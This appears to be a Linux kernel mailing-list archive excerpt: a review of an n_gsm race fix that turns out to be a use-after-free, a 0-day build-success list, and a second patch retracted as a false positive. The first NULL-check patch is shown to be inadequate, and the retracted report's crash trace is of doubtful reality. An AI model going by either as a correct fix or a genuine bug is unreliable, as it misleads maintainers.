[ 997.395594][ T46] ret_from_fork+0x5fb/0xa10
[ 997.396442][ T46] ? __pfx_ret_from_fork+0x10/0x10
[ 997.397375][ T46] ? __switch_to+0x57f/0xe20
[ 997.398196][ T46] ? __pfx_kthread+0x10/0x10
[ 997.399033][ T46] ret_from_fork_asm+0x1a/0x30
[ 997.399906][ T46] </TASK>
[ 997.401199][ T46] Kernel Offset: disabled
[ 997.401979][ T46] Rebooting in 86400 seconds..
```
^ permalink raw reply
* Re: [PATCH] tty: n_gsm: fix NULL deref of gsm->dlci[0] in control message handlers
From: Greg Kroah-Hartman @ 2026-06-12 14:28 UTC (permalink / raw)
To: Weiming Shi
Cc: Jiri Slaby, Daniel Starke, linux-kernel, linux-serial, Xiang Mei
In-Reply-To: <DJ74X3U3L9DZ.3RMWZCB0O5ZCE@gmail.com>
On Fri, Jun 12, 2026 at 10:19:18PM +0800, Weiming Shi wrote:
> On Fri Jun 12, 2026 at 2:50 AM CST, Greg Kroah-Hartman wrote:
> > On Thu, Jun 11, 2026 at 11:32:18AM -0700, Weiming Shi wrote:
> >> gsm_control_command() and gsm_control_reply() load gsm->dlci[0] and
> >> immediately dereference dlci->ftype without checking it for NULL.
> >>
> >> On the receive path, gsm_queue() validates that gsm->dlci[0] is non-NULL
> >> and DLCI_OPEN before invoking the control handler, but the value is not
> >> held across that check: the receive worker runs from flush_to_ldisc()
> >> without taking gsm->mutex, while a concurrent GSMIOC_SETCONF ioctl can
> >> enter gsm_cleanup_mux(), which takes gsm->mutex, releases gsm->dlci[0]
> >> and sets it to NULL. If the mux is torn down between gsm_queue()'s check
> >> and the re-load inside gsm_control_command()/gsm_control_reply(), the
> >> handler dereferences a NULL dlci.
> >>
> >> A peer that drives DLCI 0 control frames (e.g. CMD_TEST) while the mux
> >> owner reconfigures the line discipline can therefore crash the kernel
> >> (line numbers from decode_stacktrace.sh against the crashing build):
> >>
> >> Oops: general protection fault, probably for non-canonical address
> >> KASAN: null-ptr-deref in range [0x0000000000000208-0x000000000000020f]
> >> RIP: 0010:gsm_control_reply (drivers/tty/n_gsm.c:1497)
> >> Call Trace:
> >> gsm_dlci_command (drivers/tty/n_gsm.c:2482)
> >> gsm_queue.part.0 (drivers/tty/n_gsm.c:2852)
> >> gsm0_receive (drivers/tty/n_gsm.c:2972)
> >> gsmld_receive_buf (drivers/tty/n_gsm.c:3629)
> >> tty_ldisc_receive_buf (drivers/tty/tty_buffer.c:391)
> >> tty_port_default_receive_buf (drivers/tty/tty_port.c:39)
> >> flush_to_ldisc (drivers/tty/tty_buffer.c:495)
> >> process_one_work
> >> worker_thread
> >> kthread
> >>
> >> The other callers of these helpers (the keep-alive and negotiation timer
> >> paths) already guard the gsm->dlci[0] access; only the receive path is
> >> unguarded. The CMD_CLD handler in the same switch already checks the
> >> loaded dlci for NULL for the very same reason. Bail out early when
> >> gsm->dlci[0] has been cleared instead of dereferencing it.
> >>
> >> Triggering this requires CAP_NET_ADMIN to attach the n_gsm line
> >> discipline (gsmld_open() uses capable(), not ns_capable()), so it is a
> >> local denial of service for a privileged mux owner racing its own
> >> control channel; harden the handlers regardless.
> >>
> >> Fixes: 5767712668b8 ("tty: n_gsm: cleanup gsm_control_command and gsm_control_reply")
> >> Reported-by: Xiang Mei <xmei5@asu.edu>
> >> Assisted-by: Claude:claude-opus-4-8
> >> Signed-off-by: Weiming Shi <bestswngs@gmail.com>
> >> ---
> >> drivers/tty/n_gsm.c | 6 ++++++
> >> 1 file changed, 6 insertions(+)
> >>
> >> diff --git a/drivers/tty/n_gsm.c b/drivers/tty/n_gsm.c
> >> index 214abeb89aaa..860cfb91d510 100644
> >> --- a/drivers/tty/n_gsm.c
> >> +++ b/drivers/tty/n_gsm.c
> >> @@ -1457,6 +1457,9 @@ static int gsm_control_command(struct gsm_mux *gsm, int cmd, const u8 *data,
> >> struct gsm_msg *msg;
> >> struct gsm_dlci *dlci = gsm->dlci[0];
> >>
> >> + if (!dlci)
> >> + return -EINVAL;
> >
> > What precents dlci from being NULL right after you check this?
> >
> > thanks,
> >
> > greg k-h
>
> Hi greg,
>
> I'm sorry for taking so long to respond.
>
> After a closer look I think your review is correct.
>
> The real problem is that the receive path touches gsm->dlci[] with no
> lock. The teardown side holds gsm->mutex while it releases and frees the
> dlci, but the receive worker does not: gsm_queue() loads
> dlci = gsm->dlci[address] while it is still valid and passes it down
> through dlci->data() to gsm_control_command()/gsm_control_reply(), which
> also re-read gsm->dlci[0] and dereference dlci->ftype.
>
> Meanwhile GSMIOC_SETCONF -> gsm_cleanup_mux() takes gsm->mutex, closes
> DLCI0 and drops its reference via gsm_dlci_release(); the final
> tty_port_put() runs the gsm_dlci_free() destructor, which clears the slot
> and frees the object:
>
> ```
> dlci->gsm->dlci[dlci->addr] = NULL;
> kfree(dlci);
> ```
> If that happens while the worker is still in the dispatch above, it ends
> up dereferencing the freed dlci. I can reproduce this as a use-after-free:
>
> ```
> [ 997.227486][ T46] BUG: KASAN: slab-use-after-free in gsm_control_reply.isra.0 (drivers/tty/n_gsm.c:1162 drivers/tty/n_gsm.c:1494)
> [ 997.229052][ T46] Read of size 8 at addr ffff888029ae9000 by task kworker/u16:2/46
> [ 997.230517][ T46]
> [ 997.230952][ T46] CPU: 1 UID: 0 PID: 46 Comm: kworker/u16:2 Not tainted 7.1.0-rc7 #1 PREEMPT(full)
> [ 997.230958][ T46] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-4
> [ 997.230961][ T46] Workqueue: events_unbound flush_to_ldisc
> [ 997.230969][ T46] Call Trace:
> [ 997.230972][ T46] <TASK>
> [ 997.230974][ T46] dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
> [ 997.230990][ T46] print_report (mm/kasan/report.c:378 mm/kasan/report.c:482)
> [ 997.231008][ T46] kasan_report (mm/kasan/report.c:595)
> [ 997.231016][ T46] gsm_control_reply.isra.0 (drivers/tty/n_gsm.c:1162 drivers/tty/n_gsm.c:1494)
> [ 997.231020][ T46] gsm_dlci_command (drivers/tty/n_gsm.c:1873 drivers/tty/n_gsm.c:2477)
> [ 997.231036][ T46] gsmld_receive_buf (drivers/tty/n_gsm.c:3616)
> [ 997.231044][ T46] tty_ldisc_receive_buf (drivers/tty/tty_buffer.c:398)
> [ 997.231052][ T46] tty_port_default_receive_buf (drivers/tty/tty_port.c:37)
> [ 997.231056][ T46] flush_to_ldisc (drivers/tty/tty_buffer.c:452 drivers/tty/tty_buffer.c:502)
> [ 997.231066][ T46] process_one_work (kernel/workqueue.c:3314)
> [ 997.231082][ T46] worker_thread (kernel/workqueue.c:3397 kernel/workqueue.c:3478)
> [ 997.231091][ T46] kthread (kernel/kthread.c:436)
> [ 997.231103][ T46] ret_from_fork (arch/x86/kernel/process.c:158)
> [ 997.231120][ T46] ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
> [ 997.231128][ T46] </TASK>
> [ 997.231130][ T46]
> [ 997.267905][ T46] Allocated by task 5110:
> [ 997.268716][ T46] kasan_save_stack (mm/kasan/common.c:57)
> [ 997.269595][ T46] kasan_save_track (mm/kasan/common.c:78)
> [ 997.270483][ T46] __kasan_kmalloc (mm/kasan/common.c:398 mm/kasan/common.c:415)
> [ 997.271353][ T46] gsm_dlci_alloc (./include/linux/slab.h:950 ./include/linux/slab.h:1188 drivers/tty/n_gsm.c:2648)
> [ 997.272203][ T46] gsm_activate_mux (drivers/tty/n_gsm.c:3189)
> [ 997.273109][ T46] gsmld_ioctl (drivers/tty/n_gsm.c:3443 drivers/tty/n_gsm.c:3846)
> [ 997.273981][ T46] tty_ioctl (drivers/tty/tty_io.c:2801)
> [ 997.274789][ T46] __x64_sys_ioctl (fs/ioctl.c:51 fs/ioctl.c:597 fs/ioctl.c:583 fs/ioctl.c:583)
> [ 997.275682][ T46] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
> [ 997.276544][ T46] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
> [ 997.277658][ T46]
> [ 997.278108][ T46] Freed by task 5110:
> [ 997.278865][ T46] kasan_save_stack (mm/kasan/common.c:57)
> [ 997.279740][ T46] kasan_save_track (mm/kasan/common.c:78)
> [ 997.280615][ T46] kasan_save_free_info (mm/kasan/generic.c:584)
> [ 997.281554][ T46] __kasan_slab_free (mm/kasan/common.c:253 mm/kasan/common.c:285)
> [ 997.282435][ T46] kfree (./include/linux/kasan.h:235 mm/slub.c:2689 mm/slub.c:6251 mm/slub.c:6566)
> [ 997.283159][ T46] gsm_cleanup_mux (drivers/tty/n_gsm.c:2711 drivers/tty/n_gsm.c:2744 drivers/tty/n_gsm.c:3161)
> [ 997.284050][ T46] gsmld_ioctl (drivers/tty/n_gsm.c:3415 drivers/tty/n_gsm.c:3846)
> [ 997.284928][ T46] tty_ioctl (drivers/tty/tty_io.c:2801)
> [ 997.285746][ T46] __x64_sys_ioctl (fs/ioctl.c:51 fs/ioctl.c:597 fs/ioctl.c:583 fs/ioctl.c:583)
> [ 997.286653][ T46] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
> [ 997.287526][ T46] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
> [ 997.288639][ T46]
>
> ```
>
> The NULL deref I reported is the same unguarded access on the same
> path, just hitting the window after the slot is already cleared. Either
> way a NULL check in the handlers can't fix it, since in the UAF case dlci
> isn't NULL.
>
> I think the fix should serialize the receive side against
> gsm_cleanup_mux() instead of checking in the handlers. Two ways I can see:
>
> 1. take gsm->mutex around the dlci lookup and dispatch in gsm_queue(), or
> 2. pin the dlci across the dispatch using its existing tty_port ref
> (dlci_get/dlci_put), so gsm_dlci_free() can't run while it's in use.
>
> Do you have a preference, or is there a pattern in n_gsm you'd rather I
> use? I'll respin v2 once I know which way to go.
The bigger issue here is that almost no one has this hardware. And
those that do, don't care about these types of issues as they do not
have untrusted data or untrusted users, so be careful when changing
things that you aren't able to test.
I think that option 2 would probably be best, as that should not affect
any fast code paths, right?
> And I'll send the reproducer and the config to trigger it in a separate mail.
Can you turn that into a real test to be added to the tree in the
correct location? I think we need to start adding these so that we get
a base regression test for people to be able to run as all the LLM tools
seem to love the broken code in this file :)
thanks,
greg k-h
^ permalink raw reply
* [tty:tty-testing] BUILD SUCCESS 426e83cab1f5d53069ac7030cb03e2d7c6367ef1
From: kernel test robot @ 2026-06-13 0:35 UTC (permalink / raw)
To: Greg Kroah-Hartman; +Cc: linux-serial
tree/branch: https://git.kernel.org/pub/scm/linux/kernel/git/gregkh/tty.git tty-testing
branch HEAD: 426e83cab1f5d53069ac7030cb03e2d7c6367ef1 serial: 8250_pci: Don't specify conflicting values to pci_device_id members
elapsed time: 857m
configs tested: 308
configs skipped: 3
The following configs have been built successfully.
More configs may be tested in the coming days.
tested configs:
alpha allnoconfig gcc-16.1.0
alpha allyesconfig gcc-16.1.0
alpha defconfig gcc-16.1.0
arc allmodconfig clang-23
arc allmodconfig gcc-16.1.0
arc allnoconfig gcc-16.1.0
arc allyesconfig clang-23
arc defconfig gcc-16.1.0
arc randconfig-001-20260612 gcc-13.4.0
arc randconfig-001-20260613 gcc-12.5.0
arc randconfig-002-20260612 gcc-13.4.0
arc randconfig-002-20260613 gcc-12.5.0
arm allnoconfig clang-23
arm allnoconfig gcc-16.1.0
arm allyesconfig clang-23
arm allyesconfig gcc-16.1.0
arm defconfig gcc-16.1.0
arm randconfig-001-20260612 gcc-13.4.0
arm randconfig-001-20260613 gcc-12.5.0
arm randconfig-002-20260612 gcc-13.4.0
arm randconfig-002-20260613 gcc-12.5.0
arm randconfig-003-20260612 gcc-13.4.0
arm randconfig-003-20260613 gcc-12.5.0
arm randconfig-004-20260612 gcc-13.4.0
arm randconfig-004-20260613 gcc-12.5.0
arm spear13xx_defconfig gcc-16.1.0
arm64 allmodconfig clang-23
arm64 allnoconfig gcc-16.1.0
arm64 defconfig gcc-16.1.0
arm64 randconfig-001 gcc-13.4.0
arm64 randconfig-001-20260612 gcc-13.4.0
arm64 randconfig-001-20260613 gcc-16.1.0
arm64 randconfig-002 gcc-13.4.0
arm64 randconfig-002-20260612 gcc-13.4.0
arm64 randconfig-002-20260613 gcc-16.1.0
arm64 randconfig-003 gcc-13.4.0
arm64 randconfig-003-20260612 gcc-13.4.0
arm64 randconfig-003-20260613 gcc-16.1.0
arm64 randconfig-004 gcc-13.4.0
arm64 randconfig-004-20260612 gcc-13.4.0
arm64 randconfig-004-20260613 gcc-16.1.0
csky allmodconfig gcc-16.1.0
csky allnoconfig gcc-16.1.0
csky defconfig gcc-16.1.0
csky randconfig-001 gcc-13.4.0
csky randconfig-001-20260612 gcc-13.4.0
csky randconfig-001-20260613 gcc-16.1.0
csky randconfig-002 gcc-13.4.0
csky randconfig-002-20260612 gcc-13.4.0
csky randconfig-002-20260613 gcc-16.1.0
hexagon allmodconfig clang-23
hexagon allmodconfig gcc-16.1.0
hexagon allnoconfig clang-23
hexagon allnoconfig gcc-16.1.0
hexagon defconfig gcc-16.1.0
hexagon randconfig-001 gcc-11.5.0
hexagon randconfig-001-20260612 gcc-11.5.0
hexagon randconfig-001-20260613 clang-23
hexagon randconfig-002 gcc-11.5.0
hexagon randconfig-002-20260612 gcc-11.5.0
hexagon randconfig-002-20260613 clang-23
i386 allmodconfig clang-22
i386 allmodconfig gcc-14
i386 allnoconfig gcc-14
i386 allnoconfig gcc-16.1.0
i386 allyesconfig clang-22
i386 buildonly-randconfig-001 gcc-14
i386 buildonly-randconfig-001-20260612 gcc-14
i386 buildonly-randconfig-001-20260613 gcc-14
i386 buildonly-randconfig-002 gcc-14
i386 buildonly-randconfig-002-20260612 gcc-14
i386 buildonly-randconfig-002-20260613 gcc-14
i386 buildonly-randconfig-003 gcc-14
i386 buildonly-randconfig-003-20260612 gcc-14
i386 buildonly-randconfig-003-20260613 gcc-14
i386 buildonly-randconfig-004 gcc-14
i386 buildonly-randconfig-004-20260612 gcc-14
i386 buildonly-randconfig-004-20260613 gcc-14
i386 buildonly-randconfig-005 gcc-14
i386 buildonly-randconfig-005-20260612 gcc-14
i386 buildonly-randconfig-005-20260613 gcc-14
i386 buildonly-randconfig-006 gcc-14
i386 buildonly-randconfig-006-20260612 gcc-14
i386 buildonly-randconfig-006-20260613 gcc-14
i386 defconfig gcc-16.1.0
i386 randconfig-001-20260612 clang-22
i386 randconfig-001-20260613 clang-22
i386 randconfig-002-20260612 clang-22
i386 randconfig-002-20260613 clang-22
i386 randconfig-003-20260612 clang-22
i386 randconfig-003-20260613 clang-22
i386 randconfig-004-20260612 clang-22
i386 randconfig-004-20260613 clang-22
i386 randconfig-005-20260612 clang-22
i386 randconfig-005-20260613 clang-22
i386 randconfig-006-20260612 clang-22
i386 randconfig-006-20260613 clang-22
i386 randconfig-007-20260612 clang-22
i386 randconfig-007-20260613 clang-22
i386 randconfig-011 clang-22
i386 randconfig-011-20260612 clang-22
i386 randconfig-011-20260613 gcc-14
i386 randconfig-012 clang-22
i386 randconfig-012-20260612 clang-22
i386 randconfig-012-20260613 gcc-14
i386 randconfig-013 clang-22
i386 randconfig-013-20260612 clang-22
i386 randconfig-013-20260613 gcc-14
i386 randconfig-014 clang-22
i386 randconfig-014-20260612 clang-22
i386 randconfig-014-20260613 gcc-14
i386 randconfig-015 clang-22
i386 randconfig-015-20260612 clang-22
i386 randconfig-015-20260613 gcc-14
i386 randconfig-016 clang-22
i386 randconfig-016-20260612 clang-22
i386 randconfig-016-20260613 gcc-14
i386 randconfig-017 clang-22
i386 randconfig-017-20260612 clang-22
i386 randconfig-017-20260613 gcc-14
loongarch allmodconfig clang-23
loongarch allnoconfig clang-20
loongarch allnoconfig gcc-16.1.0
loongarch defconfig clang-23
loongarch randconfig-001 gcc-11.5.0
loongarch randconfig-001-20260612 gcc-11.5.0
loongarch randconfig-001-20260613 clang-23
loongarch randconfig-002 gcc-11.5.0
loongarch randconfig-002-20260612 gcc-11.5.0
loongarch randconfig-002-20260613 clang-23
m68k allmodconfig gcc-16.1.0
m68k allnoconfig gcc-16.1.0
m68k allyesconfig clang-23
m68k allyesconfig gcc-16.1.0
m68k atari_defconfig gcc-16.1.0
m68k defconfig clang-23
microblaze allnoconfig gcc-16.1.0
microblaze allyesconfig gcc-16.1.0
microblaze defconfig clang-23
mips allmodconfig gcc-16.1.0
mips allnoconfig gcc-16.1.0
mips allyesconfig gcc-16.1.0
nios2 allmodconfig clang-20
nios2 allmodconfig gcc-11.5.0
nios2 allnoconfig clang-23
nios2 allnoconfig gcc-11.5.0
nios2 defconfig clang-23
nios2 randconfig-001 gcc-11.5.0
nios2 randconfig-001-20260612 gcc-11.5.0
nios2 randconfig-001-20260613 clang-23
nios2 randconfig-002 gcc-11.5.0
nios2 randconfig-002-20260612 gcc-11.5.0
nios2 randconfig-002-20260613 clang-23
openrisc allmodconfig clang-20
openrisc allmodconfig gcc-16.1.0
openrisc allnoconfig clang-23
openrisc allnoconfig gcc-16.1.0
openrisc defconfig gcc-16.1.0
parisc allmodconfig gcc-16.1.0
parisc allnoconfig clang-23
parisc allnoconfig gcc-16.1.0
parisc allyesconfig clang-23
parisc allyesconfig gcc-16.1.0
parisc defconfig gcc-16.1.0
parisc randconfig-001-20260613 gcc-15.2.0
parisc randconfig-002-20260613 gcc-15.2.0
parisc64 defconfig clang-23
powerpc allmodconfig gcc-16.1.0
powerpc allnoconfig clang-23
powerpc allnoconfig gcc-16.1.0
powerpc mpc885_ads_defconfig clang-23
powerpc randconfig-001-20260613 gcc-15.2.0
powerpc randconfig-002-20260613 gcc-15.2.0
powerpc64 randconfig-001-20260613 gcc-15.2.0
powerpc64 randconfig-002-20260613 gcc-15.2.0
riscv allmodconfig clang-23
riscv allnoconfig clang-23
riscv allnoconfig gcc-16.1.0
riscv allyesconfig clang-23
riscv defconfig gcc-16.1.0
riscv randconfig-001 gcc-11.5.0
riscv randconfig-001-20260612 gcc-11.5.0
riscv randconfig-001-20260613 gcc-10.5.0
riscv randconfig-002 gcc-11.5.0
riscv randconfig-002-20260612 gcc-11.5.0
riscv randconfig-002-20260613 gcc-10.5.0
s390 allmodconfig clang-23
s390 allnoconfig clang-23
s390 allyesconfig gcc-16.1.0
s390 defconfig gcc-16.1.0
s390 randconfig-001 gcc-11.5.0
s390 randconfig-001-20260612 gcc-11.5.0
s390 randconfig-001-20260613 gcc-10.5.0
s390 randconfig-002 gcc-11.5.0
s390 randconfig-002-20260612 gcc-11.5.0
s390 randconfig-002-20260613 gcc-10.5.0
sh allmodconfig gcc-16.1.0
sh allnoconfig clang-23
sh allnoconfig gcc-16.1.0
sh allyesconfig clang-23
sh allyesconfig gcc-16.1.0
sh defconfig gcc-14
sh randconfig-001 gcc-11.5.0
sh randconfig-001-20260612 gcc-11.5.0
sh randconfig-001-20260613 gcc-10.5.0
sh randconfig-002 gcc-11.5.0
sh randconfig-002-20260612 gcc-11.5.0
sh randconfig-002-20260613 gcc-10.5.0
sparc allnoconfig clang-23
sparc allnoconfig gcc-16.1.0
sparc defconfig gcc-16.1.0
sparc randconfig-001-20260612 gcc-8.5.0
sparc randconfig-001-20260613 gcc-13.4.0
sparc randconfig-002-20260612 gcc-8.5.0
sparc randconfig-002-20260613 gcc-13.4.0
sparc sparc64_defconfig gcc-16.1.0
sparc64 allmodconfig clang-20
sparc64 defconfig gcc-14
sparc64 randconfig-001-20260612 gcc-8.5.0
sparc64 randconfig-001-20260613 gcc-13.4.0
sparc64 randconfig-002-20260612 gcc-8.5.0
sparc64 randconfig-002-20260613 gcc-13.4.0
um allmodconfig clang-23
um allnoconfig clang-16
um allnoconfig clang-23
um allyesconfig gcc-14
um allyesconfig gcc-16.1.0
um defconfig gcc-14
um i386_defconfig gcc-14
um randconfig-001-20260612 gcc-8.5.0
um randconfig-001-20260613 gcc-13.4.0
um randconfig-002-20260612 gcc-8.5.0
um randconfig-002-20260613 gcc-13.4.0
um x86_64_defconfig gcc-14
x86_64 allmodconfig clang-22
x86_64 allnoconfig clang-22
x86_64 allnoconfig clang-23
x86_64 allyesconfig clang-22
x86_64 buildonly-randconfig-001-20260612 gcc-14
x86_64 buildonly-randconfig-001-20260613 clang-22
x86_64 buildonly-randconfig-002-20260612 gcc-14
x86_64 buildonly-randconfig-002-20260613 clang-22
x86_64 buildonly-randconfig-003-20260612 gcc-14
x86_64 buildonly-randconfig-003-20260613 clang-22
x86_64 buildonly-randconfig-004-20260612 gcc-14
x86_64 buildonly-randconfig-004-20260613 clang-22
x86_64 buildonly-randconfig-005-20260612 gcc-14
x86_64 buildonly-randconfig-005-20260613 clang-22
x86_64 buildonly-randconfig-006-20260612 gcc-14
x86_64 buildonly-randconfig-006-20260613 clang-22
x86_64 defconfig gcc-14
x86_64 kexec clang-22
x86_64 randconfig-001-20260612 clang-22
x86_64 randconfig-001-20260613 clang-22
x86_64 randconfig-002-20260612 clang-22
x86_64 randconfig-002-20260613 clang-22
x86_64 randconfig-003-20260612 clang-22
x86_64 randconfig-003-20260613 clang-22
x86_64 randconfig-004-20260612 clang-22
x86_64 randconfig-004-20260613 clang-22
x86_64 randconfig-005-20260612 clang-22
x86_64 randconfig-005-20260613 clang-22
x86_64 randconfig-006-20260612 clang-22
x86_64 randconfig-006-20260613 clang-22
x86_64 randconfig-011 clang-22
x86_64 randconfig-011-20260612 clang-22
x86_64 randconfig-011-20260613 clang-22
x86_64 randconfig-012 clang-22
x86_64 randconfig-012-20260612 clang-22
x86_64 randconfig-012-20260613 clang-22
x86_64 randconfig-013 clang-22
x86_64 randconfig-013-20260612 clang-22
x86_64 randconfig-013-20260613 clang-22
x86_64 randconfig-014 clang-22
x86_64 randconfig-014-20260612 clang-22
x86_64 randconfig-014-20260613 clang-22
x86_64 randconfig-015 clang-22
x86_64 randconfig-015-20260612 clang-22
x86_64 randconfig-015-20260613 clang-22
x86_64 randconfig-016 clang-22
x86_64 randconfig-016-20260612 clang-22
x86_64 randconfig-016-20260613 clang-22
x86_64 randconfig-071-20260612 gcc-14
x86_64 randconfig-071-20260613 clang-22
x86_64 randconfig-072-20260612 gcc-14
x86_64 randconfig-072-20260613 clang-22
x86_64 randconfig-073-20260612 gcc-14
x86_64 randconfig-073-20260613 clang-22
x86_64 randconfig-074-20260612 gcc-14
x86_64 randconfig-074-20260613 clang-22
x86_64 randconfig-075-20260612 gcc-14
x86_64 randconfig-075-20260613 clang-22
x86_64 randconfig-076-20260612 gcc-14
x86_64 randconfig-076-20260613 clang-22
x86_64 rhel-9.4 clang-22
x86_64 rhel-9.4-bpf gcc-14
x86_64 rhel-9.4-func clang-22
x86_64 rhel-9.4-kselftests clang-22
x86_64 rhel-9.4-kunit gcc-14
x86_64 rhel-9.4-ltp gcc-14
x86_64 rhel-9.4-rust clang-22
xtensa allnoconfig clang-23
xtensa allnoconfig gcc-16.1.0
xtensa allyesconfig clang-20
xtensa randconfig-001-20260612 gcc-8.5.0
xtensa randconfig-001-20260613 gcc-13.4.0
xtensa randconfig-002-20260612 gcc-8.5.0
xtensa randconfig-002-20260613 gcc-13.4.0
--
0-DAY CI Kernel Test Service
https://github.com/intel/lkp-tests/wiki
^ permalink raw reply
* Re: [PATCH] tty: serial: core: fix NULL pointer deref in uart_resume_port()
From: Weiming Shi @ 2026-06-13 5:37 UTC (permalink / raw)
To: Greg Kroah-Hartman, Weiming Shi
Cc: Jiri Slaby, linux-kernel, linux-serial, Xiang Mei
In-Reply-To: <2026061238-utmost-amusement-4664@gregkh>
On Fri Jun 12, 2026 at 6:01 PM CST, Greg Kroah-Hartman wrote:
> On Mon, Jun 08, 2026 at 09:52:17AM -0700, Weiming Shi wrote:
>> uart_resume_port() looks up the tty device child with device_find_child()
>> and passes the result straight to device_may_wakeup(). device_find_child()
>> returns NULL when the port has no matching tty device child,
>
> How can that happen in a real system? Have you triggered this before,
> if so, what hardware does it?
>
>> and
>> device_may_wakeup() dereferences dev->power.can_wakeup, so a NULL tty_dev
>> faults. uart_suspend_port() already guards the same call with
>> "tty_dev && device_may_wakeup(tty_dev)"; the resume path does not.
>>
>> Oops: general protection fault, probably for non-canonical address
>> KASAN: null-ptr-deref in range [0x148-0x14f]
>> RIP: 0010:uart_resume_port (pm_wakeup.h:84 serial_core.c:2477)
>> serial_pnp_resume (8250/8250_pnp.c:522)
>> pnp_bus_resume (drivers/pnp/driver.c:234)
>
> Is this a real oops, or a made up one?
>
>> Mirror the NULL guard from uart_suspend_port(). put_device(tty_dev)
>> already tolerates a NULL argument, so only the device_may_wakeup() call
>> needs the check; the non-NULL path is unchanged.
>>
>> Fixes: b3b708fa2780 ("wake up from a serial port")
>> Reported-by: Xiang Mei <xmei5@asu.edu>
>
> Where was this reported?
>
> Why isn't this cc: stable? And why hasn't anyone tripped over it in the
> past 19 years?
>
> thanks,
>
> greg k-h
Hi greg,
This is a false positive, please drop it.
Sorry for wasting your time. I'll check reachability before sending anything next time.
Best,
Weiming Shi
^ permalink raw reply
* Re: [PATCH] tty: n_gsm: fix NULL deref of gsm->dlci[0] in control message handlers
From: Weiming Shi @ 2026-06-13 5:43 UTC (permalink / raw)
To: Greg Kroah-Hartman, Weiming Shi
Cc: Jiri Slaby, Daniel Starke, linux-kernel, linux-serial, Xiang Mei
In-Reply-To: <2026061228-scrubber-cosmetics-c77a@gregkh>
On Fri Jun 12, 2026 at 10:28 PM CST, Greg Kroah-Hartman wrote:
> On Fri, Jun 12, 2026 at 10:19:18PM +0800, Weiming Shi wrote:
>> On Fri Jun 12, 2026 at 2:50 AM CST, Greg Kroah-Hartman wrote:
>> > On Thu, Jun 11, 2026 at 11:32:18AM -0700, Weiming Shi wrote:
>> >> gsm_control_command() and gsm_control_reply() load gsm->dlci[0] and
>> >> immediately dereference dlci->ftype without checking it for NULL.
>> >>
>> >> On the receive path, gsm_queue() validates that gsm->dlci[0] is non-NULL
>> >> and DLCI_OPEN before invoking the control handler, but the value is not
>> >> held across that check: the receive worker runs from flush_to_ldisc()
>> >> without taking gsm->mutex, while a concurrent GSMIOC_SETCONF ioctl can
>> >> enter gsm_cleanup_mux(), which takes gsm->mutex, releases gsm->dlci[0]
>> >> and sets it to NULL. If the mux is torn down between gsm_queue()'s check
>> >> and the re-load inside gsm_control_command()/gsm_control_reply(), the
>> >> handler dereferences a NULL dlci.
>> >>
>> >> A peer that drives DLCI 0 control frames (e.g. CMD_TEST) while the mux
>> >> owner reconfigures the line discipline can therefore crash the kernel
>> >> (line numbers from decode_stacktrace.sh against the crashing build):
>> >>
>> >> Oops: general protection fault, probably for non-canonical address
>> >> KASAN: null-ptr-deref in range [0x0000000000000208-0x000000000000020f]
>> >> RIP: 0010:gsm_control_reply (drivers/tty/n_gsm.c:1497)
>> >> Call Trace:
>> >> gsm_dlci_command (drivers/tty/n_gsm.c:2482)
>> >> gsm_queue.part.0 (drivers/tty/n_gsm.c:2852)
>> >> gsm0_receive (drivers/tty/n_gsm.c:2972)
>> >> gsmld_receive_buf (drivers/tty/n_gsm.c:3629)
>> >> tty_ldisc_receive_buf (drivers/tty/tty_buffer.c:391)
>> >> tty_port_default_receive_buf (drivers/tty/tty_port.c:39)
>> >> flush_to_ldisc (drivers/tty/tty_buffer.c:495)
>> >> process_one_work
>> >> worker_thread
>> >> kthread
>> >>
>> >> The other callers of these helpers (the keep-alive and negotiation timer
>> >> paths) already guard the gsm->dlci[0] access; only the receive path is
>> >> unguarded. The CMD_CLD handler in the same switch already checks the
>> >> loaded dlci for NULL for the very same reason. Bail out early when
>> >> gsm->dlci[0] has been cleared instead of dereferencing it.
>> >>
>> >> Triggering this requires CAP_NET_ADMIN to attach the n_gsm line
>> >> discipline (gsmld_open() uses capable(), not ns_capable()), so it is a
>> >> local denial of service for a privileged mux owner racing its own
>> >> control channel; harden the handlers regardless.
>> >>
>> >> Fixes: 5767712668b8 ("tty: n_gsm: cleanup gsm_control_command and gsm_control_reply")
>> >> Reported-by: Xiang Mei <xmei5@asu.edu>
>> >> Assisted-by: Claude:claude-opus-4-8
>> >> Signed-off-by: Weiming Shi <bestswngs@gmail.com>
>> >> ---
>> >> drivers/tty/n_gsm.c | 6 ++++++
>> >> 1 file changed, 6 insertions(+)
>> >>
>> >> diff --git a/drivers/tty/n_gsm.c b/drivers/tty/n_gsm.c
>> >> index 214abeb89aaa..860cfb91d510 100644
>> >> --- a/drivers/tty/n_gsm.c
>> >> +++ b/drivers/tty/n_gsm.c
>> >> @@ -1457,6 +1457,9 @@ static int gsm_control_command(struct gsm_mux *gsm, int cmd, const u8 *data,
>> >> struct gsm_msg *msg;
>> >> struct gsm_dlci *dlci = gsm->dlci[0];
>> >>
>> >> + if (!dlci)
>> >> + return -EINVAL;
>> >
>> > What precents dlci from being NULL right after you check this?
>> >
>> > thanks,
>> >
>> > greg k-h
>>
>> Hi greg,
>>
>> I'm sorry for taking so long to respond.
>>
>> After a closer look I think your review is correct.
>>
>> The real problem is that the receive path touches gsm->dlci[] with no
>> lock. The teardown side holds gsm->mutex while it releases and frees the
>> dlci, but the receive worker does not: gsm_queue() loads
>> dlci = gsm->dlci[address] while it is still valid and passes it down
>> through dlci->data() to gsm_control_command()/gsm_control_reply(), which
>> also re-read gsm->dlci[0] and dereference dlci->ftype.
>>
>> Meanwhile GSMIOC_SETCONF -> gsm_cleanup_mux() takes gsm->mutex, closes
>> DLCI0 and drops its reference via gsm_dlci_release(); the final
>> tty_port_put() runs the gsm_dlci_free() destructor, which clears the slot
>> and frees the object:
>>
>> ```
>> dlci->gsm->dlci[dlci->addr] = NULL;
>> kfree(dlci);
>> ```
>> If that happens while the worker is still in the dispatch above, it ends
>> up dereferencing the freed dlci. I can reproduce this as a use-after-free:
